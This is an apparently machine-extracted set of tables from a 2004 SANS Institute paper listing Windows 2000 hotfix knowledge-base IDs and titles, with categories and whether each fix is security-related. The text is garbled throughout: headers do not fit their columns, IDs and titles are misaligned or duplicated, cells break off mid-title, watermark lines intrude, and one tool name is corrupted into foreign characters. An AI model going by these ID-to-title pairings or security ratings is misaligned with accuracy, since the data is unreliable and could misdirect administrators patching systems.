<td>MS02-045: Unchecked Buffer in Network Share Provider May Lead to Denial-of-Service</td>
<td>Base operating system</td>
<td>By sending a specially-crafted packet request, an attacker can mount a denial-of-service attack on the target server computer.</td>
<td>Yes</td>
</tr>
<tr>
<td>326830</td>
<td>MS02-070: Flaw in SMB Signing May Permit Group Policy to Be Modified</td>
<td>Base operating system</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>329107</td>
<td>Buffer Overrun in IIS When No Script Maps Exist</td>
<td>Directory services</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>325571</td>
<td>MS02-071: Flaw in Windows WM_TIMER Message Handling Can Enable Privilege Elevation</td>
<td>Directory services</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>328310</td>
<td>MS02-050: Certificate Validation Flaw Might</td>
<td>Directory services</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>329115</td>
<td>MS02-048: Flaw in Certificate Enrollment Control May Cause Digital Certificates to Be Deleted</td>
<td>Management/administration</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>323172</td>
<td>MS02-065: Buffer Overrun in Microsoft Data Access Components Can Lead to Code Execution (MDAC 2.6)</td>
<td>Management/administration</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>329414</td>
<td>MDAC MS02-042: Flaw in Network Connection Manager Can Cause Rights Elevation</td>
<td>Networking</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>326886</td>
<td>MS02-024: Authentication</td>
<td>Security</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>320206</td>
<td>Flaw in Windows Debugger</td>
<td>Security</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>ID</td>
<td>Title</td>
<td>Security Description</td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------</td>
<td>----------------------------------------------------------------------</td>
<td>---------------------------------------------------------------------------------------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>329414</td>
<td>Code Execution (MDAC 2.6) Security</td>
<td>Yes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>331953</td>
<td>Attacks</td>
<td>Yes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>811493</td>
<td>Elevated Privileges</td>
<td>Yes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>817606</td>
<td>Data Corruption</td>
<td>Yes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>819696</td>
<td>Compromise</td>
<td>Yes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>822679</td>
<td>Elevation</td>
<td>Yes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>814078</td>
<td>MS03-008: Flaw in Windows Script Engine May Allow Code to Run</td>
<td>Yes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>814078</td>
<td>MS03-024: Buffer Overrun in Windows Could Lead to Elevated Privileges</td>
<td>Yes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>327498</td>
<td>Files May Appear to Be Empty with an Older Redirector</td>
<td>Y but not security</td>
<td></td>
<td></td>
</tr>
<tr>
<td>810340</td>
<td>A &quot;Stop 0x0000001E&quot; Error Occurs in Win32k.sys in Windows 2000</td>
<td>Y but not security</td>
<td></td>
<td></td>
</tr>
<tr>
<td>811363</td>
<td>BackupRead() Cannot Read a File with a 0-Byte Alternate Data Stream</td>
<td>Y but not security</td>
<td></td>
<td></td>
</tr>
<tr>
<td>812802</td>
<td>Alternate Data Stream You Receive a &quot;System Error 1230&quot; Error Message When You Browse the Network</td>
<td>Y but not security</td>
<td></td>
<td></td>
</tr>
<tr>
<td>318332</td>
<td>You Cannot Change Your Password After an Administrator Resets It</td>
<td>Y but not security</td>
<td></td>
<td></td>
</tr>
<tr>
<td>812499</td>
<td>The Win32_NetworkAdapterConfiguration.SetDnsServerSearchOrder Method Does Not Work</td>
<td>Y but not security</td>
<td></td>
<td></td>
</tr>
<tr>
<td>319021</td>
<td>The &quot;Look In&quot; and &quot;Save As&quot; Boxes in Common</td>
<td>Y but not security</td>
<td></td>
<td></td>
</tr>
<tr>
<td>321126</td>
<td>Dialog Boxes Are Slow</td>
<td>Y but not security</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
A Computer Stops Responding During the Shutdown Process If a Service Does Not Start
Your Profile Is Not Unloaded If You Change Printer Settings and Then Log Off

<table>
<thead>
<tr>
<th>Issue ID</th>
<th>Description</th>
<th>Category</th>
<th>Resolution</th>
</tr>
</thead>
<tbody>
<tr>
<td>327129</td>
<td>Management/administration</td>
<td>Y but not security</td>
<td></td>
</tr>
<tr>
<td>327984</td>
<td>Printing</td>
<td>Y but not security</td>
<td></td>
</tr>
<tr>
<td>282010</td>
<td>Program compatibility Microsoft JET Access database engine not used</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>30742</td>
<td>Computer with Multiple Processes and an AGP</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>323130</td>
<td>Program compatibility Multiple Processors</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>324490</td>
<td>Program compatibility Operability issue</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>328509</td>
<td>Program compatibility Don't use data conference</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>330716</td>
<td>Program compatibility Mail only</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>331509</td>
<td>Program compatibility IIS/Exchange/2K Server</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>810014</td>
<td>Program compatibility SMTP System Counter</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>811012</td>
<td>Program compatibility Win2K server</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>815026</td>
<td>Program compatibility NetMeeting</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>815315</td>
<td>Program compatibility Microsoft Visual C++, 32-bit Editions 6.0 SP5</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>816941</td>
<td>Program compatibility</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>263939</td>
<td>Base operating system Throughput problem</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>278710</td>
<td>Base operating system Cluster Administrator</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>289261</td>
<td>Base operating system Use NtBackup</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>291594</td>
<td>Base operating system NetWare server</td>
<td>N</td>
<td></td>
</tr>
</tbody>
</table>
File Appears to Be Deleted Although You Do Not Have Permissions on the OS/2 Warp4-Based Server

An Error Occurs in Usbhub.sys If It Is Used as a Composite Driver

Cancelled URB May Not Contain the Number of Bytes That Were Actually Transferred

No Audio on a Web Camera When You Resume from Hibernation

Redirector Does Not Cache Files When the SPARSE Attribute Is Set

Problems Transferring Highly Fragmented Packets in NDIS

You May Receive a "Tape Drive Requires Cleaning" Error Message When You Try to Back Up

Certain R2 PC Cards Are Incorrectly Enumerated as Memory Cards

FRS Does Not Replicate Files or Folders If the System Account Does Not Have Full Control of the Directory Tree

Peripheral Hardware May Not Be Initialized During the Startup Process

The NET TIME Command May Report the GMT Bias Incorrectly

Event ID 49 Entry Is Added to the System Event Log When You Use the 3GB Switch in Windows 2000

You Cannot Open a File That You Moved to a DFS Share

Event Log Replication Entries Fill Windows 2000 Cluster Log

CPU Usage Rises to 100 Percent If You Charge the Battery Slowly While the Computer Is On

You Receive an "NTLDR Is Missing" Error Message When You Start Your Computer

You Cannot Take DFS Replica Members Offline
<table>
<thead>
<tr>
<th>Code</th>
<th>Description</th>
<th>Category</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>320865</td>
<td>RIS Setup Stops Responding at &quot;Setup is Starting Windows&quot; Screen</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>320877</td>
<td>One-Hour Delay Occurs During Startup with a USB Keyboard and PS/2 Mouse</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>321036</td>
<td>Modem Settings Are Missing After You Remove and Re-Insert Your Modem</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>321060</td>
<td>Raytheon RayLink Wireless PCMCIA LAN Adapter Does Not Start with a Code 12</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>321248</td>
<td>RRAS Dial-on-Demand Interface Does Not Establish a Connection</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td></td>
<td>Banner Page Always Prints When a Service That Needs to Print to a Novell</td>
<td>Novell</td>
<td>N</td>
</tr>
<tr>
<td>321522</td>
<td>Administratively Created DNS Records May Not Be Security-Enhanced</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>321610</td>
<td>An Access Violation Occurs in Spoolsv.exe</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>321623</td>
<td>Disk Management Snap-In Does Not Show a Disk with a Large Number of Partitions</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>321685</td>
<td>You Cannot Make Floppy Disk Controller Physically Probe Floppy Drives</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>321697</td>
<td>L2TP May Not Use the Default IP Address</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>322018</td>
<td>Service Pack 3 Adds Updates to Several Windows 2000 Support Tools</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>322042</td>
<td>Input Language of Terminal Server Client Does Not Match That of Terminal Server Session</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>322271</td>
<td>Computer Is Unresponsive When Hibernating</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>322377</td>
<td>UPN Credentials Cause CSNW to Omit the NDS Tree for Changing Your Password</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>322670</td>
<td>IEAK User Rights Deployment Build Is Not Installed If Windows</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>322811</td>
<td>Installer 2.0 Is Installed Disks Are Not Detected Correctly When You Add a Disk As a Cluster Resource</td>
<td>Base operating system</td>
<td>N</td>
</tr>
<tr>
<td>322945</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
GlobalAlloc() in Ntvd.m.exe May Return A Memory Handle That Is Not Valid
Logical Disk Partitions Are Lost or Damaged After You Upgrade from Windows NT 4.0 to Windows 2000
Delegation Wizard Only Reads One CONTROLRIGHT in Windows 2000
ASP Generates a New ASP SessionID Cookie for Every User Access
Delegation Wizard configuration file After you set AspKeepSessionIDSecure to TRUE, Active Server Pages (ASP) generates a new ASP SessionID cookie for every user access when you use HTTPS applications.
Renaming a computer
Citrix

Error Message if Windows 2000 Server Is Running Citrix Metaframe That Is Configured in a Load-Balancing Farm
Dumpfile Header and Header Size Information Are Incorrect
The Specified DNS Retry Interval Is Not Used
The DisablePagingExecutive Setting May Cause Access Violation in Lsass.exe Because of LDAP Version 2 Search with Referrals
Printing to a Redirected LPT1 from Windows XP to Windows 2000 Prints Multiple Separator Pages
FIX: DM_USER_DEFAULT Flag Is Not Set in the DOCUMENTPROPERTYHEADER Structure
Certificate Does Not Display the Ampersand (&) in a Company Name
Plug and Play Devices Are Not Detected After You Restart Your Windows 2000-Based Computer
Computer Enters Standby During IR File Transfer in Windows 2000
Windows 2000: Drive Letter Changes After You Restart Your Computer
No Files Are Displayed on Backup Tape or You Are Repeatedly Asked to Insert a Tape
Windows Backup

79
<table>
<thead>
<tr>
<th>Issue ID</th>
<th>Problem Description</th>
<th>Operating System</th>
<th>Solution</th>
</tr>
</thead>
<tbody>
<tr>
<td>325748</td>
<td>FIX: Memory Leak in Remote Procedure Call Server Service (RPCSS)</td>
<td>Base operating</td>
<td>Performance Monitor (PerfMon)</td>
</tr>
<tr>
<td>325945</td>
<td>The WinNT Provider Returns an Incorrect Number of Domains in a Network</td>
<td>Base operating</td>
<td>Domains in a Network</td>
</tr>
<tr>
<td>325955</td>
<td>Installing a Non-Plug and Play Driver for a PCI Device May Cause Problems</td>
<td>Base operating</td>
<td>PCI Device</td>
</tr>
<tr>
<td>326330</td>
<td>The Cluster Service Detects RPC Errors 1726 and 1722</td>
<td>Base operating</td>
<td>Cluster Services</td>
</tr>
<tr>
<td>326591</td>
<td>Maximum NT User Handles Per Process Is 10,000 in Windows 2000</td>
<td>Base operating</td>
<td>Programs that require many NT User handles may stop working when they reach approximately 10,000 handles</td>
</tr>
<tr>
<td>326647</td>
<td>Connections Before the 2MSL Period</td>
<td>Base operating</td>
<td>Network Address Translation</td>
</tr>
<tr>
<td>326662</td>
<td>Hibernation Problem with Computers with One Gigabyte of RAM Under High-Stress Conditions</td>
<td>Base operating</td>
<td>One Gigabyte of RAM Under High-Stress Conditions</td>
</tr>
<tr>
<td>326891</td>
<td>The Clusdisk.sys Driver Does Not Permit Disks to Be Removed by Plug and Play</td>
<td>Base operating</td>
<td>Clusdisk.sys Driver and is configured to use RADIUS Proxy</td>
</tr>
<tr>
<td>326967</td>
<td>IAS Logs List an Incorrect IP Address for the Network Access Server Device</td>
<td>Base operating</td>
<td>Index Server</td>
</tr>
<tr>
<td>327012</td>
<td>Error Message Occurs When You Start Disk Management After Extending a Hardware Array</td>
<td>Base operating</td>
<td>After you add new disks to a hardware RAID array</td>
</tr>
<tr>
<td>327392</td>
<td>MSMQ: A Version Mismatch Between Mqmig.exe and Mqmigrat.dll Causes</td>
<td>Base operating</td>
<td>PEC Migration</td>
</tr>
<tr>
<td>327559</td>
<td>Preventing Users from Putting Compressed Files on a File Server</td>
<td>Base operating</td>
<td>Recommended practices</td>
</tr>
<tr>
<td>327840</td>
<td>Redirected Printing Through a Terminal Services Session May Not Work with Windows 2000 SP3</td>
<td>Base operating</td>
<td>Printing/Terminal Services</td>
</tr>
<tr>
<td>328020</td>
<td>Removing USB Hub Causes STOP 0x00000001E</td>
<td>Base operating</td>
<td>USB Hub</td>
</tr>
<tr>
<td>328036</td>
<td>Adding a Print Separator Page May Cause an Error Message</td>
<td>Base operating</td>
<td>Error message</td>
</tr>
<tr>
<td>Key fingerprint</td>
<td>Description</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-----------------</td>
<td>-------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46</td>
<td>© SANS Institute 2004, Author retains full rights.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>81</td>
<td>The Microsoft Message Queue Server Migration Tool Deletes the MsmqServices Object</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>An Access Violation Occurs When BizTalk Server Is Under a Heavy Load</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>Task Scheduler Jobs Do Not Work and Generate Error Code 0x8004130f Intermittently</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>List Is Cleared If You Accidentally Enter a Blank Line in the &quot;Run Only Allowed Windows Applications&quot; Policy</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>You may receive an access violation error message if the following group policies are set:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>Security Group Policy Is Applied During Every Startup Process</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>Integrated Technology Express Devices May Not Work with Windows 2000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>You may receive an access violation error message</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>An Access Violation Occurs in Rsvpsp.dll</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>A Handle Leak Occurs in Mstask.exe</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>You May Receive a &quot;Stop 0x1E&quot; Error Message Intermittently in Windows 2000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>Error Reported When ADSI MoveHere Function Runs Against Third-Party LDAP Server</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>MS02-063: Unchecked Buffer in PPTP Implementation May Permit Denial-of-Service Attacks</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>FTP Transfers by Using Network Address Translation May Not Work Intermittently Program Unresponsiveness Occurs When You Use Performance Monitoring</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>A &quot;Stop 0x0000001E&quot; Error Occurs in the NetWare Redirector Intermittent Name Resolution Issues and Event IDs 5501 and 6524 Are Logged to the DNS Server Event Log</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>MS02-063: Unchecked Buffer in PPTP</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>FTP Transfers by Using Network Address Translation May Not Work Intermittently Program Unresponsiveness Occurs When You Use Performance Monitoring</td>
<td></td>
<td></td>
</tr>
<tr>
<td>N</td>
<td>A &quot;Stop 0x0000001E&quot; Error Occurs in the NetWare Redirector Intermittent Name Resolution Issues and Event IDs 5501 and 6524 Are Logged to the DNS Server Event Log</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Files Larger Than 4 GB Are Truncated During a Restore

If an EMC Device Is Used

331018

DRIVER_IRQL_NOT_LESS_OR_EQUAL Error Message when You Dismount a Volume

331053

Active Directory Passes Incorrect Security Descriptors to Programs

331330

Mqbkup.exe Does Not Support a Virtual Cluster Service

331371

DHCP Vendor-Specific Options Longer Than 124 Bytes Are Not Sent

331910

DF Bit Is Incorrectly Set to Zero on All Packets Sent From a Windows 2000-Based Computer

332001

Slow Disk Performance When Write Caching Is Enabled

332023

Active RPC Connections Are Closed

810008

Stop 0x0E3 Error Occurs When Redirector Thread Tries to Release a Lock

810038

Universal Serial Bus Devices Are Not Detected Intermittently When You Start or Resume the Computer

810090

Network Adapters Are Missing or Incorrect in Device Manager After You Run NTBackup to Restore System State Data

810161

Disabling Site Awareness for a Windows 2000 DFS in a Windows NT 4.0 Domain Server Intermittently Stops Responding During High Disk Activity

810418

810425

Stop 0x00000051 REGISTRY_ERROR Error Message When You Log On

810558

User Authentication to Services Such as Microsoft Exchange Server May Time Out on a Member Server

811005

Percent Signs (%) Appear on Menus for Media Clips

811146

USB Storage Device Is Not Recognized After the Computer Resumes from Hibernation

811011

Base operating system

EMC Device Is Used

Microsoft Exchange 2000 Server in

Dynamic Host Configuration Protocol (DHCP) option 43 (vendor-specific options)

Regsitry key change

remote procedure call (RPC) to communicate with a remote application, you may see active connections end.

certain stress conditions

USB Devices

Run NTBackup to Restore System

Windows 2000 servers for Distributed File System

disk hanging

back up the registry hive

many clients are connecting to services (such as Microsoft Exchange Server)

View

USB Storage Device
Improvements in the Post-Service Pack 3 Release of Ntfrs.exe

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

Cannot Play Video CDs on Windows 2000

Issues That Are Fixed in the Post-Service Pack 3 Release of Ntfrs.exe

Stratus ftServer-Based Computer Stops Responding (Hangs) After a Surprise Removal of OpenHCI USB Host Controller

Debugging a Process Might Cause Handles to Leak

Cannot Restore Backup Media That Is Created by a Backup Operator

Paged Pool Memory Decreases as You Add RAM

Memory Leak in Winmgmt.exe When You Run Monitoring Tools

Multimedia Device Does Not Work After You Update Its Driver

Terminal Services Program May Run More Slowly on Windows 2000 Than on Windows NT 4.0

Problems When Your Computer with Multiple ATA Drives Enters the S1 Power State

Opportunistic Locking May Not Be Granted If Windows Is Installed by Using Sysprep

DFS Manager Does Not Show DFS Roots

Only One Function Is Enumerated and a Code 10 Error Occurs in Device Manager When You Insert a Multifunction PC Card into a PCMCIA Slot

SCSI Pass-Through Mode Sense Command May Crash the Computer

Windows Does Not Detect a SCSI Device After a Surprise Removal

Cannot Install Driver Updates from the Windows Update Web Site

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>Issue Description</th>
<th>System Components Involved</th>
<th>Solution</th>
<th>I/O</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows Terminal Server Client Cannot Connect to the Terminal Server</td>
<td>Base operating system, Terminal Server Client</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>FIX: Cannot Resume from Hibernation When Devices That Are Behind a USB 2.0 Hub Are Removed</td>
<td>Base operating system, USB 2.0 Hub</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>List of Base Operating System Fixes in Windows 2000 Service Pack 4</td>
<td>Base operating system, Informal List</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>Unknown Error Error Message When You Create a Backup Over Your Network</td>
<td>Base operating system, When you perform a backup over your local area network by using Ntbackup.exe</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>815140 Group Policies Are Not Applied to Objects in an Organizational Unit Whose Name Contains an Asterisk</td>
<td>Base operating system, computer is in a high-stress state</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>Windows 2000 Stops Responding While You Work with Multiple Programs</td>
<td>Base operating system, USB Device fix applied</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>815484 Hibernate State</td>
<td>Base operating system, Clustering</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>Clumped Disk Drive Letter Unexpectedly Changes</td>
<td>Base operating system, USB</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>Code 28 Error Message and a Yellow Exclamation Mark Next to a USB Device in Device Manager After Your Computer Resumes from Hibernation</td>
<td>Base operating system, Bluescreen</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>Windows 2000 Crashes with a &quot;Stop 0x000000D1&quot; Error Message When You Press a Key to Bring Your Computer out of the Hibernate State</td>
<td>Base operating system, Intel Pentium 4 processors and large amounts of RAM installed</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>Rate of Page-Zeroing Process Is Unexpectedly Slow</td>
<td>Base operating system, Intel Pentium 4 processors and large amounts of RAM installed</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>The Scsiport Driver May Not Read Registry Parameters That Are Specified for Miniport Drivers</td>
<td>Base operating system, Scsiport Driver, Shutdown error message</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>FTDisk May Cause a &quot;STOP Error 0x000000D1&quot; Error Message When You Shutdown Your Computer</td>
<td>Base operating system, a file record segment that is corrupted in /PAE and /3GB switches in the Boot.ini file</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>Windows 2000-Based Computer with NTFS Boot Disk Does Not Start and Appears Stuck in Loop When Starting with Both the /PAE and /3GB Switches, the System May Not Start</td>
<td>Base operating system, /PAE and /3GB switches in the Boot.ini file</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>You Receive a &quot;KMODE_EXCEPTION_NOTHandled&quot; Error Message</td>
<td>Base operating system, Bluescreen</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>818194</td>
<td>Base operating system, Bluescreen</td>
<td>N</td>
<td></td>
</tr>
</tbody>
</table>
License Logging Service
Decrements Licenses for
Machine Accounts

300930

Windows 2000 License Logging Service
incorrectly allocates licenses to machine accounts

N

The Serial Number Is
Decremented in DNS When
You Reboot the Computer

304653

Active Directory When you reboot a computer,
the serial numbers of the zone may be
decremented

N

The Event Log Stops
Logging Events Before
Reaching the Maximum Log
Size

312671

GroupPolicy

N

HasMasterNCs Attributes
for Server Objects in the
Configuration Container
May Become Damaged

31446

HasMasterNCs

N

Slow Connectivity to
NetWare Resources

316042

NetWare server

N

Performance of Microsoft
Commerce Server-based
Programs May Degrade
Over Time

316430

Microsoft Commerce Server-based

N

Increase in DNS Zone
Serial Numbers Causes
Unnecessary Zone
Transfers in Windows 2000
The "IPCONFIG
/SETCLASSID" Command
Does Not Send the Class ID
in the Options Field of the
DHCP Information Packet
A Netsh DHCP Import Does
Not Import Configuration
Information
Directory Service Access
Audits for a SAM Object
Server Have Incomplete
Object Names
An Access Violation Occurs
in Lsass Because of a Stack
Overflow
The Back Button Is
Available in the Domain
Screen During Automated
Setup
An Error Occurs in the
ADSI Windows NT Provider
When You Enumerate the
Members of a Group by
Using a Binding
Dc桥梁.exe Issues Incorrect
"Topology Disconnected"
Error Messages
AT Command Stops
Responding When You Try
to List Scheduled Jobs
You Cannot Collect DHCP
Data by Using SNMP
Accessing Active Directory
with LDAP by Using Sun
JNDI Calls May Not Work
DNS Caching Behavior
When You Use the "All"
Query Type in Windows
2000

318443

DNS Zone Serial Numbers

N

319325

DHCP Information Packet

N

319460

DHCP Import

N

319672

Lightweight Data Access Protocol (LDAP) queries
against Active Directory

N

319709

Automated Setup

N

319915

ADSI Windows NT Provider
Displaying scheduled tasks and
install, remove, and then reinstall the DHCP
Server service

N

320015

Domain Controller Diagnostics tool (Dc桥梁.exe)

N

320063

N

320387

N

320677

N

320711

N

320769

N
<table>
<thead>
<tr>
<th>Problem Description</th>
<th>Category</th>
<th>Resolution</th>
</tr>
</thead>
<tbody>
<tr>
<td>Computer Hangs for 15 Seconds When You Use Your Zip Drive</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>FTP Logging: Transferred Bytes Not Accurate When Transaction Aborted</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>The Computer Hangs If You Call LockWorkstation() While a Screen Saver Is Running Only Members of the Administrators Group Can Retrieve the ntSecurityDescriptor Attribute from an IDirectorySearch Result Set Windows NT 4.0 Usmgr.exe Does Not Display an Error Message When You Change a Password to a Weak Password DFS Client Computers Stop Responding when Disconnecting from a DFS Share Stop 0x50 Error Message When You Rename a Large Number of Files on Windows 2000 The Repadmin Tool Returns LDAP Error 32 DCOM Proxy Is Decoupled with Server Stub When It Looks for Binding Handle Access Violation in Spoolsv.exe GD132IcmIntIcmInfo in Windows 2000 A Digital Audio Interface PC Card May Not Function The TCP Connections Established Performance Counter Reports Incorrect Values on Multiprocessor Computers A Domain Administrator Receives an &quot;Unable to Display Security Information&quot; Error Message INFO: Truncated Results When Calling IDirectorySearch::GetNextRow Multihomed DHCP Clients May Cause &quot;Bad_Address&quot; Entry on a DHCP Server in Windows 2000 Dump File Not Created Correctly with More Than Four GB of Memory and PAE Turned On</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>FTP Logging LockWorkstation function from a screen saver (or while a screen saver is running), who are not members of the Administrators group cannot retrieve the ntSecurityDescriptor attribute in a result set from an IDirectorySearch search operation a Terminal Services home folder defined in the User Environment profile, and if the home folder is assigned to a drive letter Distributed File System (DFS) shares across the network create and then rename a large number of files, Repadmin tool with the showconn switch Distributed Component Object Model (DCOM) client and server application scenarios print job that contains an older version 3 DEVMODE Digital Audio Interface Multiprocessor Computers domain administrator does not have any permissions for an Active Directory Documentation DHCP server. More Than Four GB of Memory</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Event ID 6008 Is Unexpectedly Logged to the System Event Log After You Shut Down and Restart Your Computer

Password Change Does Not Work Over Remote Access\Radius Authentication

WMI Event Registration Leak

AutoShareServer Setting Cannot Prevent Administrative Shares on Cluster Nodes

Cannot Log On from a Macintosh Client After You Change Your Password

The MaxPreloadEntries Registry Value Does Not Work and Defaults to 1,000 Entries

An Access Violation Occurs When a Program Tries to Update Active Directory Windows 2000-Based Servers May Not Set the DNS Domain Name After You Upgrade a Domain IIS Out-of-Process Applications Stop Responding

Error Message "An Attempt Was Made to Remember a Device That Had Previously Been Remembered" When You Log On Long Delays Occur When You Run Chkdsk.exe PostScript Print Jobs Containing Type-1 Multiple Master Metrics Fonts Are Not Printed A Deadlock Occurs in the Ndistapi Device Stop Error Occurs When You Start the Computer for the First Time Removable Storage May Not Refresh the Tape FIX: Isoch Callback Not Called or Error on Blue Screen Occurs When Starting Isoch Stream Disk.sys Causes an "0x0000001E" Error An OpenGL Screen Saver May Cause an Access Violation Terminal Services Client Cannot Obtain Terminal Services User Configuration From Domain Controller

Event message

RAS Authentication

Windows Management Instrumentation (WMI) does Clustering

Directory Access Protocol (LDAP) provider DLL enumerates

upgrade the domain to Active Directory

application is configured to run out-of-process

If a logon script or a policy maps a network drive to a drive letter that is already in use by a local drive

Chkdsk.exe utility to troubleshoot and fix hard disk problems

PostScript printing of text that is formatted with Multiple Master Metrics

fault-tolerant Windows 2000-based server

when a registry value is set to NULL

Removable Storage

Blue Screen

0x0000001E* error message on a blue screen

an OpenGL screen saver

Terminal Services Client
<table>
<thead>
<tr>
<th>Code</th>
<th>Description</th>
<th>Module</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>331651</td>
<td>UPN Box in Active Directory Users and Computers Contains Corrupted Data during Logon</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>331907</td>
<td>DNS Serial Number Is Incremented During Zone Transfer</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>332199</td>
